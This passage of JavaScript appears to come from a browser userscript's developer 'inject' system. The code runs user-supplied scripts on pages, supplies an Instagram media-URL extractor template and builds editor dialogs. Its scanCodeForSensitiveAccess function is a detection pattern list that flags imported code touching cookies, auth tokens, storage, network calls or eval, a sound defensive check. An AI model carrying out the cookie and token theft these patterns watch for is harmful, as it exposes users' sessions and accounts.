      devLog('inject', `Failed applying HTML/CSS for "${t.name}"`, { error: String(err?.stack || err) }, 'error', 'developer');
    }

    // Built-in tasks run without dynamic evaluation (works on strict CSP sites like Instagram).
    if (t.builtinId) {
      try {
        runBuiltinInjectTask(t.builtinId, ctx);
      } catch (err) {
        updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
        devLog('inject', `Built-in inject failed in "${t.name}"`, { error: String(err?.stack || err), builtinId: t.builtinId }, 'error', 'developer');
      }
      updateDevInjectTask(t.id, { lastRunAt: new Date().toISOString(), lastError: null });
      return;
    }

    if (t.code.js && t.code.js.trim()) {
      try {
        // eslint-disable-next-line no-new-func
        const fn = new Function('ctx', t.code.js);
        fn(ctx);
      } catch (err) {
        updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
        devLog('inject', `Execution error in "${t.name}"`, { error: String(err?.stack || err) }, 'error', 'developer');
      }
    }

    updateDevInjectTask(t.id, { lastRunAt: new Date().toISOString(), lastError: null });
  }

  function runDeveloperInjectTasksOnThisPage(trigger = 'page', runAtFilter = null) {
    if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) return;
    const tasks = loadDevInjectTasks().filter(t => t.enabled);
    for (const t of tasks) {
      if (runAtFilter && t.runAt !== runAtFilter) continue;
      try {
        executeInjectTask(t, trigger);
      } catch (err) {
        devLog('inject', 'Unexpected inject-system failure', { error: String(err?.stack || err), taskId: t?.id }, 'error', 'developer');
      }
    }
  }

  function startDeveloperInjectSystem() {
    if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) return;

    const runDom = () => runDeveloperInjectTasksOnThisPage('auto:domcontentloaded', 'domcontentloaded');
    const runIdle = () => runDeveloperInjectTasksOnThisPage('auto:idle', 'idle');

    try {
      if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', runDom, { once: true });
      } else {
        runDom();
      }
    } catch {
      // no-op
    }

    const scheduleIdle = () => {
      setTimeout(() => {
        try { runIdle(); } catch (err) {
          devLog('inject', 'Idle inject scheduler failed', { error: String(err?.stack || err) }, 'error', 'developer');
        }
      }, 1200);
    };

    try {
      if (document.readyState === 'complete') {
        scheduleIdle();
      } else {
        window.addEventListener('load', scheduleIdle, { once: true });
      }
    } catch {
      // no-op
    }
  }

  function scanCodeForSensitiveAccess(code) {
    const text = String(code || '');
    const hits = [];
    const rules = [
      { id: 'cookie', label: 'Reads cookies (document.cookie / cookieStore)', re: /document\.cookie|cookieStore/i },
      { id: 'token', label: 'Mentions token/auth', re: /ta_token|authorization\s*:|bearer\s+|token_prod|freeBypass|userToken/i },
      { id: 'storage', label: 'Accesses browser storage', re: /localStorage|sessionStorage|indexedDB/i },
      { id: 'network', label: 'Makes network requests (fetch/XHR/sendBeacon)', re: /\bfetch\b|XMLHttpRequest|sendBeacon|WebSocket/i },
      { id: 'eval', label: 'Dynamic code execution (eval/new Function)', re: /\beval\b|new\s+Function\b/i }
    ];
    for (const r of rules) {
      if (r.re.test(text)) hits.push(r.label);
    }
    return Array.from(new Set(hits));
  }

  function showTextInputDialog({ title, description, placeholder, confirmLabel }, onDone) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `position:fixed; inset:0; z-index:10000003; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.75))' : 'rgba(0,0,0,0.75)'}; backdrop-filter: blur(8px); display:flex; align-items:center; justify-content:center;`;
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:92%; max-width:520px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
    dialog.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
        <div style="font-weight:800; font-size:15px;"><i class="fas fa-pen"></i> ${escapeHtml(title || 'Input')}</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
      </div>
      <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55; margin-bottom:12px;">${escapeHtml(description || '')}</div>
      <input type="text" data-input placeholder="${escapeHtml(placeholder || '')}" style="width:100%; padding:10px 12px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; outline:none; font-size:13px;" />
      <div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
        <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>${escapeHtml(confirmLabel || 'OK')}</button>
      </div>
    `;
    let ruleMenuResizeHandler = null;
    const close = () => {
      try {
        if (ruleMenuResizeHandler) window.removeEventListener('resize', ruleMenuResizeHandler);
      } catch {
        // no-op
      }
      overlay.remove();
    };
    dialog.querySelector('[data-x]').onclick = close;
    dialog.querySelector('[data-cancel]').onclick = close;
    const input = dialog.querySelector('[data-input]');
    dialog.querySelector('[data-ok]').onclick = () => {
      const value = String(input.value || '').trim();
      close();
      if (onDone) onDone(value);
    };
    input.addEventListener('keydown', (e) => {
      if (e.key === 'Enter') dialog.querySelector('[data-ok]').click();
      if (e.key === 'Escape') close();
    });
    overlay.appendChild(dialog);
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    document.body.appendChild(overlay);
    setTimeout(() => input.focus(), 50);
  }

  function showCodeEditorDialog({ title, description, initialValue = '', confirmLabel = 'Save', downloadFilename = 'config.json', validate }, onDone) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `position:fixed; inset:0; z-index:10000003; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.75))' : 'rgba(0,0,0,0.75)'}; backdrop-filter: blur(8px); display:flex; align-items:center; justify-content:center; padding:18px;`;
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:min(940px, 96vw); max-height:92vh; display:flex; flex-direction:column; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
    dialog.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
        <div style="font-weight:800; font-size:15px;"><i class="fas fa-code"></i> ${escapeHtml(title || 'Code editor')}</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
      </div>
      <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55; margin-bottom:12px;">${escapeHtml(description || '')}</div>
      <textarea data-input spellcheck="false" style="width:100%; min-height:360px; flex:1; resize:vertical; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; outline:none; font-size:12px; line-height:1.55; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;"></textarea>
      <div data-error style="display:none; margin-top:10px; padding:10px 12px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background:rgba(127,29,29,0.22); color:#fecaca; font-size:12px; white-space:pre-wrap;"></div>
      <div style="display:flex; gap:10px; justify-content:space-between; align-items:center; margin-top:14px; flex-wrap:wrap;">
        <div style="font-size:11px; color:${colors.textSecondary};">Edit as raw JSON/code, then save back into settings.</div>
        <div style="display:flex; gap:10px; flex-wrap:wrap;">
          <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-download><i class="fas fa-download"></i> Download</button>
          <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
          <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>${escapeHtml(confirmLabel)}</button>
        </div>
      </div>
    `;
    const close = () => overlay.remove();
    const textarea = dialog.querySelector('[data-input]');
    const errorBox = dialog.querySelector('[data-error]');
    textarea.value = String(initialValue || '');

    const showError = (message) => {
      errorBox.style.display = message ? 'block' : 'none';
      errorBox.textContent = message || '';
    };

    dialog.querySelector('[data-x]').onclick = close;
    dialog.querySelector('[data-cancel]').onclick = close;
    dialog.querySelector('[data-download]').onclick = () => {
      downloadTextFile(downloadFilename, textarea.value, 'application/json');
      showToast('Downloaded editor contents', 'success');
    };
    dialog.querySelector('[data-ok]').onclick = () => {
      try {
        const nextValue = String(textarea.value || '');
        const validated = typeof validate === 'function' ? validate(nextValue) : nextValue;
        close();
        if (onDone) onDone(validated);
      } catch (err) {
        showError(String(err?.message || err || 'Validation failed'));
      }
    };
    textarea.addEventListener('keydown', (e) => {
      if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 's') {
        e.preventDefault();
        dialog.querySelector('[data-ok]').click();
      }
      if (e.key === 'Escape') close();
    });
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    overlay.appendChild(dialog);
    document.body.appendChild(overlay);
    setTimeout(() => textarea.focus(), 50);
  }

  function downloadTextFile(filename, text, mime = 'text/plain') {
    const blob = new Blob([String(text || '')], { type: mime });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = sanitizeFilename(filename || 'download.txt');
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    URL.revokeObjectURL(url);
  }

  function downloadJsonFile(filename, obj) {
    downloadTextFile(filename, JSON.stringify(obj, null, 2), 'application/json');
  }

  function getDevInjectTemplates() {
    return [
      {
        id: 'instagram-thumbnail-extractor',
        name: 'Instagram • Thumbnail/Media Extractor',
        description: 'Adds a floating button on Instagram posts/reels that extracts OG media URLs (image/video), copies the best URL to clipboard, and shows quick actions.',
        defaults: {
          enabled: false,
          runAt: 'idle',
          builtinId: 'instagram-extractor',
          domains: ['www.instagram.com', 'instagram.com'],
          matchMode: 'rules',
          include: [
            'https://www.instagram.com/p/*',
            'https://www.instagram.com/reel/*',
            'https://www.instagram.com/reels/*',
            'https://instagram.com/p/*',
            'https://instagram.com/reel/*',
            'https://instagram.com/reels/*'
          ],
          exclude: ['*instagram.com/accounts/*', '*instagram.com/direct/*', '*instagram.com/explore/*'],
          code: {
            css: `
              #bypass-ig-extract-btn {
                position: fixed;
                right: 16px;
                bottom: 16px;
                z-index: 2147483647;
                background: linear-gradient(135deg, #6366f1 0%, #4f46e5 100%);
                color: white;
                border: none;
                border-radius: 999px;
                padding: 10px 12px;
                font-weight: 900;
                font-size: 12px;
                box-shadow: 0 14px 40px rgba(0,0,0,0.35);
                cursor: pointer;
                display: flex;
                align-items: center;
                gap: 8px;
                opacity: 0.92;
              }
              #bypass-ig-extract-btn:hover { transform: translateY(-2px); opacity: 1; }
              #bypass-ig-extract-btn:active { transform: translateY(0); }
              #bypass-ig-extract-panel {
                position: fixed;
                right: 16px;
                bottom: 62px;
                width: min(420px, calc(100vw - 32px));
                z-index: 2147483647;
                background: rgba(2, 6, 23, 0.92);
                border: 1px solid rgba(148, 163, 184, 0.22);
                border-radius: 14px;
                padding: 12px;
                color: #e2e8f0;
                box-shadow: 0 20px 80px rgba(0,0,0,0.6);
                backdrop-filter: blur(10px);
                font-family: ui-sans-serif, system-ui, -apple-system, Segoe UI, Roboto, Arial;
              }
              #bypass-ig-extract-panel a { color: #93c5fd; text-decoration: none; word-break: break-all; }
              #bypass-ig-extract-panel a:hover { text-decoration: underline; }
              .bypass-ig-row { margin-top: 8px; font-size: 12px; line-height: 1.5; }
              .bypass-ig-actions { display:flex; gap:8px; flex-wrap:wrap; margin-top: 10px; }
              .bypass-ig-action {
                background: rgba(99, 102, 241, 0.18);
                border: 1px solid rgba(99, 102, 241, 0.35);
                color: #e2e8f0;
                padding: 7px 10px;
                border-radius: 10px;
                font-size: 12px;
                cursor: pointer;
                font-weight: 800;
              }
              .bypass-ig-action:hover { background: rgba(99, 102, 241, 0.28); }
            `.trim(),
            html: '',
            js: `
              (function(){
                const STATE_KEY = '__bypassIgExtractor';
                if (window[STATE_KEY]?.installed) return;
                window[STATE_KEY] = { installed: true, lastUrl: location.href };

                const pickMeta = (prop) => document.querySelector('meta[property="' + prop + '"]')?.content || '';
                const pickName = (name) => document.querySelector('meta[name="' + name + '"]')?.content || '';
                const pickCanonical = () => document.querySelector('link[rel="canonical"]')?.href || location.href;

                const tryJsonLd = () => {
                  try {
                    const scripts = Array.from(document.querySelectorAll('script[type="application/ld+json"]'));
                    for (const s of scripts) {
                      const txt = (s.textContent || '').trim();
                      if (!txt) continue;
                      const j = JSON.parse(txt);
                      const list = Array.isArray(j) ? j : [j];
                      for (const entry of list) {
                        if (!entry || typeof entry !== 'object') continue;
                        const contentUrl = entry.contentUrl || entry.embedUrl || '';
                        const thumbnailUrl = entry.thumbnailUrl || '';
                        const image = Array.isArray(entry.image) ? entry.image[0] : entry.image;
                        return {
                          contentUrl: String(contentUrl || ''),
                          thumbnailUrl: String(thumbnailUrl || image || '')
                        };
                      }
                    }
                  } catch {}
                  return { contentUrl: '', thumbnailUrl: '' };
                };

                const extract = () => {
                  const ogImage = pickMeta('og:image');
                  const ogVideo = pickMeta('og:video') || pickMeta('og:video:url');
                  const ogType = pickMeta('og:type');
                  const title = pickMeta('og:title') || pickName('description') || '';
                  const canonical = pickCanonical();
                  const ld = tryJsonLd();
                  const bestVideo = ogVideo || ld.contentUrl;
                  const bestImage = ogImage || ld.thumbnailUrl;
                  return { ogType, title, canonical, bestVideo, bestImage };
                };

                const closePanel = () => {
                  const p = document.getElementById('bypass-ig-extract-panel');
                  if (p) p.remove();
                };

                const showPanel = async () => {
                  closePanel();
                  const data = extract();
                  const hasAny = !!(data.bestVideo || data.bestImage);
                  if (!hasAny) {
                    ctx.toast('No OG media found on this page yet. Try again after it loads.', 'warning');
                    return;
                  }

                  const best = data.bestVideo || data.bestImage;
                  try {
                    if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
                    ctx.toast('Copied media URL to clipboard', 'success');
                  } catch {
                    ctx.toast('Could not copy automatically (clipboard blocked).', 'warning');
                  }

                  const panel = document.createElement('div');
                  panel.id = 'bypass-ig-extract-panel';
                  const esc = (v) => String(v || '')
                    .replace(/&/g, '&amp;')
                    .replace(/</g, '&lt;')
                    .replace(/>/g, '&gt;')
                    .replace(/"/g, '&quot;')
                    .replace(/'/g, '&#39;');
                  const parts = [];
                  parts.push('<div style="display:flex; align-items:center; justify-content:space-between; gap:10px;">');
                  parts.push('<div style="font-weight:900; font-size:13px;">Instagram Extract</div>');
                  parts.push('<button class="bypass-ig-action" data-close style="background:rgba(148,163,184,0.12); border-color:rgba(148,163,184,0.25);">Close</button>');
                  parts.push('</div>');
                  parts.push('<div class="bypass-ig-row"><strong>Page:</strong> <a href="' + esc(data.canonical) + '" target="_blank" rel="noopener noreferrer">' + esc(data.canonical) + '</a></div>');
                  if (data.bestVideo) {
                    parts.push('<div class="bypass-ig-row"><strong>Video:</strong> <a href="' + esc(data.bestVideo) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestVideo) + '</a></div>');
                  }
                  if (data.bestImage) {
                    parts.push('<div class="bypass-ig-row"><strong>Image:</strong> <a href="' + esc(data.bestImage) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestImage) + '</a></div>');
                  }
                  parts.push('<div class="bypass-ig-actions">');
                  parts.push('<button class="bypass-ig-action" data-copy>Copy best URL</button>');
                  parts.push('<button class="bypass-ig-action" data-open>Open best URL</button>');
                  parts.push('</div>');
                  parts.push('<div style="margin-top:10px; font-size:11px; opacity:0.8;">Tip: works best on /p/ and /reel/ pages. If Instagram hasn\'t finished loading, click again.</div>');
                  panel.innerHTML = parts.join('');
                  panel.querySelector('[data-close]').onclick = closePanel;
                  panel.querySelector('[data-open]').onclick = () => window.open(best, '_blank');
                  panel.querySelector('[data-copy]').onclick = async () => {
                    try {
                      if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
                      ctx.toast('Copied best URL', 'success');
                    } catch {
                      ctx.toast('Copy failed (clipboard blocked).', 'error');
                    }
                  };
                  document.body.appendChild(panel);
                };

                const ensureButton = () => {
                  if (document.getElementById('bypass-ig-extract-btn')) return;
                  const btn = document.createElement('button');
                  btn.id = 'bypass-ig-extract-btn';
                  btn.type = 'button';
                  btn.innerHTML = '<span style="font-size:14px;">⤓</span> Extract';
                  btn.onclick = showPanel;
                  document.body.appendChild(btn);
                };

                ensureButton();

                // Handle SPA navigation by re-installing button when URL changes.
                setInterval(() => {
                  if (window[STATE_KEY].lastUrl !== location.href) {
                    window[STATE_KEY].lastUrl = location.href;
                    closePanel();
                    ensureButton();
                  }
                }, 800);
              })();
            `.trim()
          }
        }
      }
    ];
  }

  function showInjectTemplatesDialog(onPick) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `position:fixed; inset:0; z-index:10000006; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.88))' : 'rgba(2, 6, 23, 0.9)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:92%; max-width:860px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:18px; padding:16px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.8); max-height:86vh; overflow:auto;`;

    const templates = getDevInjectTemplates();

    dialog.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
        <div style="font-weight:900; font-size:15px;"><i class="fas fa-layer-group"></i> Inject Templates</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
      </div>
      <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.6; margin-bottom:12px;">
        Templates create a new inject script with safe defaults. You can edit everything afterwards.
      </div>
      <div data-list style="display:grid; grid-template-columns: repeat(auto-fit, minmax(260px, 1fr)); gap:10px;"></div>
    `;

    const close = () => overlay.remove();
    dialog.querySelector('[data-x]').onclick = close;

    const list = dialog.querySelector('[data-list]');
    templates.forEach(tpl => {
      const card = document.createElement('div');
      card.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; flex-direction:column; gap:10px;`;
      card.innerHTML = `
        <div style="font-weight:900; font-size:13px;">${escapeHtml(tpl.name)}</div>
        <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55;">${escapeHtml(tpl.description || '')}</div>
        <div style="display:flex; gap:8px; justify-content:flex-end;">
          <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-size:11px; font-weight:900;" data-use>Use template</button>
        </div>
      `;
      card.querySelector('[data-use]').onclick = () => {
        close();
        if (onPick) onPick(tpl);
      };
      list.appendChild(card);
    });

    overlay.appendChild(dialog);
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    document.body.appendChild(overlay);
  }

  function showSecurityImportDialog({ title, hits, onConfirm }) {
    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `position:fixed; inset:0; z-index:10000004; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.82))' : 'rgba(0,0,0,0.82)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:92%; max-width:720px; background:${colors.bg}; border:2px solid ${colors.warning}; border-radius:18px; padding:18px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.8);`;
    const list = (hits || []).map(h => `<li style="margin:6px 0;">${escapeHtml(h)}</li>`).join('');
    dialog.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:12px;">
        <div style="font-weight:900; font-size:15px; color:${colors.warning}; display:flex; gap:10px; align-items:center;"><i class="fas fa-shield-halved"></i> ${escapeHtml(title || 'Security warning')}</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
      </div>
      <div style="margin-top:10px; font-size:12px; color:${colors.textSecondary}; line-height:1.6;">
        The imported script appears to contain potentially sensitive operations. This doesn’t automatically mean it’s malicious, but you should only continue if you trust the source.
      </div>
      <div style="margin-top:10px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};">
        <div style="font-weight:800; font-size:12px; margin-bottom:6px; color:${colors.text};"><i class="fas fa-magnifying-glass"></i> Detected patterns</div>
        <ul style="margin:0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${list || '<li>No patterns detected</li>'}</ul>
      </div>
      <div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Reject</button>
        <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>Import anyway</button>
      </div>
    `;
    const close = () => overlay.remove();
    dialog.querySelector('[data-x]').onclick = close;
    dialog.querySelector('[data-cancel]').onclick = close;
    dialog.querySelector('[data-ok]').onclick = () => {
      close();
      if (onConfirm) onConfirm();
    };
    overlay.appendChild(dialog);
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    document.body.appendChild(overlay);
  }

  // Optional external libraries (best-effort): CodeMirror + acorn.
  const externalLibs = {
    codemirror: { loaded: false, loading: null },
    acorn: { loaded: false, loading: null }
  };

  function loadCssOnce(url) {
    return new Promise((resolve, reject) => {
      if (document.querySelector(`link[href="${url}"]`)) return resolve(true);
      const l = document.createElement('link');
      l.rel = 'stylesheet';
      l.href = url;
      l.onload = () => resolve(true);
      l.onerror = () => reject(new Error(`Failed loading css ${url}`));
      document.head.appendChild(l);
    });
  }

  function loadScriptOnce(url) {
    return new Promise((resolve, reject) => {
      if (document.querySelector(`script[src="${url}"]`)) return resolve(true);
      const s = document.createElement('script');
      s.src = url;
      s.async = true;
      s.onload = () => resolve(true);
      s.onerror = () => reject(new Error(`Failed loading script ${url}`));
      document.head.appendChild(s);
    });
  }

  async function ensureCodeMirror() {
    if (externalLibs.codemirror.loaded) return true;
    if (externalLibs.codemirror.loading) return externalLibs.codemirror.loading;
    externalLibs.codemirror.loading = (async () => {
      try {
        await loadCssOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css');
        await loadCssOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/material-darker.min.css');
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js');
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/javascript/javascript.min.js');
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js');
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/xml/xml.min.js');
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js');
        externalLibs.codemirror.loaded = typeof window.CodeMirror === 'function';
        return externalLibs.codemirror.loaded;
      } catch (err) {
        if (domInjectDebug) console.warn('[InjectEditor] CodeMirror failed to load:', err);
        return false;
      }
    })();
    return externalLibs.codemirror.loading;
  }

  async function ensureAcorn() {
    if (externalLibs.acorn.loaded) return true;
    if (externalLibs.acorn.loading) return externalLibs.acorn.loading;
    externalLibs.acorn.loading = (async () => {
      try {
        await loadScriptOnce('https://cdnjs.cloudflare.com/ajax/libs/acorn/8.11.3/acorn.min.js');
        externalLibs.acorn.loaded = !!window.acorn?.parse;
        return externalLibs.acorn.loaded;
      } catch (err) {
        if (domInjectDebug) console.warn('[InjectEditor] Acorn failed to load:', err);
        return false;
      }
    })();
    return externalLibs.acorn.loading;
  }

  function buildJsOutline(code) {
    try {
      if (!window.acorn?.parse) return [];
      const ast = window.acorn.parse(String(code || ''), { ecmaVersion: 'latest', sourceType: 'script', locations: true });
      const items = [];
      const walk = (node, parent) => {
        if (!node || typeof node.type !== 'string') return;
        if (node.type === 'FunctionDeclaration' && node.id?.name) {
          items.push({ type: 'function', name: node.id.name, line: node.loc?.start?.line || 1 });
        }
        if (node.type === 'ClassDeclaration' && node.id?.name) {
          items.push({ type: 'class', name: node.id.name, line: node.loc?.start?.line || 1 });
        }
        if (node.type === 'VariableDeclaration') {
          for (const d of node.declarations || []) {
            if (d.id?.name) {
              items.push({ type: 'var', name: d.id.name, line: d.loc?.start?.line || node.loc?.start?.line || 1 });
            }
          }
        }
        for (const k of Object.keys(node)) {
          const v = node[k];
          if (!v) continue;
          if (Array.isArray(v)) v.forEach(ch => ch && typeof ch.type === 'string' && walk(ch, node));
          else if (v && typeof v.type === 'string') walk(v, node);
        }
      };
      walk(ast, null);
      // De-dupe by (type+name+line)
      const seen = new Set();
      return items.filter(it => {
        const key = `${it.type}:${it.name}:${it.line}`;
        if (seen.has(key)) return false;
        seen.add(key);
        return true;
      }).slice(0, 300);
    } catch {
      return [];
    }
  }

  function tryParseJsForError(code) {
    if (!window.acorn?.parse) return null;
    try {
      window.acorn.parse(String(code || ''), { ecmaVersion: 'latest', sourceType: 'script', locations: true });
      return null;
    } catch (err) {
      return {
        message: String(err?.message || err),
        line: err?.loc?.line || null,
        column: err?.loc?.column || null
      };
    }
  }

  function showInjectEditorDialog(taskId) {
    const tasks = loadDevInjectTasks();
    const task = tasks.find(t => t.id === taskId);
    if (!task) {
      showToast('Inject task not found', 'error');
      return;
    }
    const colors = getThemeColors();

    let ruleMenuResizeHandler = null;
    let validateTimer = null;

    const overlay = document.createElement('div');
    overlay.className = 'bypass-inject-editor';
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      z-index: 10000005;
      background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.92))' : 'rgba(2, 6, 23, 0.96)'};
      backdrop-filter: blur(10px);
      display: flex;
      flex-direction: column;
      color: ${colors.text};
    `;

    let leftOpen = true;
    let activeCodeTab = 'js';
    const state = {
      js: task.code.js || '',
      css: task.code.css || '',
      html: task.code.html || ''
    };

    const header = document.createElement('div');
    header.style.cssText = `display:flex; gap:12px; align-items:center; justify-content:space-between; padding:12px 14px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
    header.innerHTML = `
      <div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
        <div style="font-weight:900; font-size:15px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">
          <i class="fas fa-code"></i> Develop • ${escapeHtml(task.name)}
        </div>
        <div style="font-size:11px; color:${colors.textSecondary};">Edit JS / CSS / HTML. Changes are stored locally only.</div>
      </div>
      <div style="display:flex; gap:8px; align-items:center;">
        <label style="display:flex; gap:8px; align-items:center; font-size:12px; color:${colors.textSecondary}; cursor:pointer;">
          <input type="checkbox" data-enabled ${task.enabled ? 'checked' : ''} />
          <span>Enabled</span>
        </label>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-close><i class="fas fa-times"></i> Close</button>
      </div>
    `;

    const close = () => {
      try {
        if (ruleMenuResizeHandler) window.removeEventListener('resize', ruleMenuResizeHandler);
      } catch {
        // no-op
      }
      try {
        if (validateTimer) clearTimeout(validateTimer);
      } catch {
        // no-op
      }
      overlay.remove();
    };
    header.querySelector('[data-close]').onclick = close;
    const enabledInput = header.querySelector('[data-enabled]');

    const body = document.createElement('div');
    body.style.cssText = 'flex:1; display:flex; min-height:0;';

    const left = document.createElement('div');
    left.style.cssText = `width: 310px; border-right:1px solid ${colors.border}; background:${colors.bg}; min-height:0; display:flex; flex-direction:column; transition: width 0.2s ease; overflow:hidden;`;

    const leftHeader = document.createElement('div');
    leftHeader.style.cssText = `padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; align-items:center; justify-content:space-between; gap:10px;`;
    leftHeader.innerHTML = `
      <div data-left-title style="font-weight:900; font-size:12px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;"><i class="fas fa-sliders"></i> Inject Conditions</div>
      <button class="bypass-btn bypass-btn-secondary" style="width:34px; min-width:34px; flex:0 0 34px; padding:6px 0; font-size:12px; border-radius:10px;" data-toggle title="Collapse/expand"><i class="fas fa-angle-left"></i></button>
    `;

    const leftToggleBtn = leftHeader.querySelector('[data-toggle]');
    const leftTitle = leftHeader.querySelector('[data-left-title]');
    const updateLeftOpen = () => {
      leftOpen = !leftOpen;
      if (leftOpen) {
        left.style.width = '310px';
        leftToggleBtn.innerHTML = '<i class="fas fa-angle-left"></i>';
        leftHeader.style.padding = '10px 12px';
        leftHeader.style.justifyContent = 'space-between';
        if (leftTitle) leftTitle.style.display = 'block';
      } else {
        left.style.width = '44px';
        leftToggleBtn.innerHTML = '<i class="fas fa-angle-right"></i>';
        leftHeader.style.padding = '8px';
        leftHeader.style.justifyContent = 'center';
        if (leftTitle) leftTitle.style.display = 'none';
      }
      left.querySelectorAll('[data-left-body]').forEach(el => {
        el.style.display = leftOpen ? 'block' : 'none';
      });
    };
    leftToggleBtn.onclick = updateLeftOpen;

    const leftBody = document.createElement('div');
    leftBody.setAttribute('data-left-body', 'true');
    leftBody.style.cssText = 'padding:12px; overflow:auto; display:block;';

    const mkRow = (label, inputEl, help) => {
      const row = document.createElement('div');
      row.style.cssText = 'display:flex; flex-direction:column; gap:6px; margin-bottom:12px;';
      const l = document.createElement('div');
      l.style.cssText = `font-size:11px; font-weight:800; color:${colors.text}; display:flex; gap:8px; align-items:center;`;
      l.textContent = label;
      row.appendChild(l);
      row.appendChild(inputEl);
      if (help) {
        const h = document.createElement('div');
        h.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5;`;
        h.textContent = help;
        row.appendChild(h);
      }
      return row;
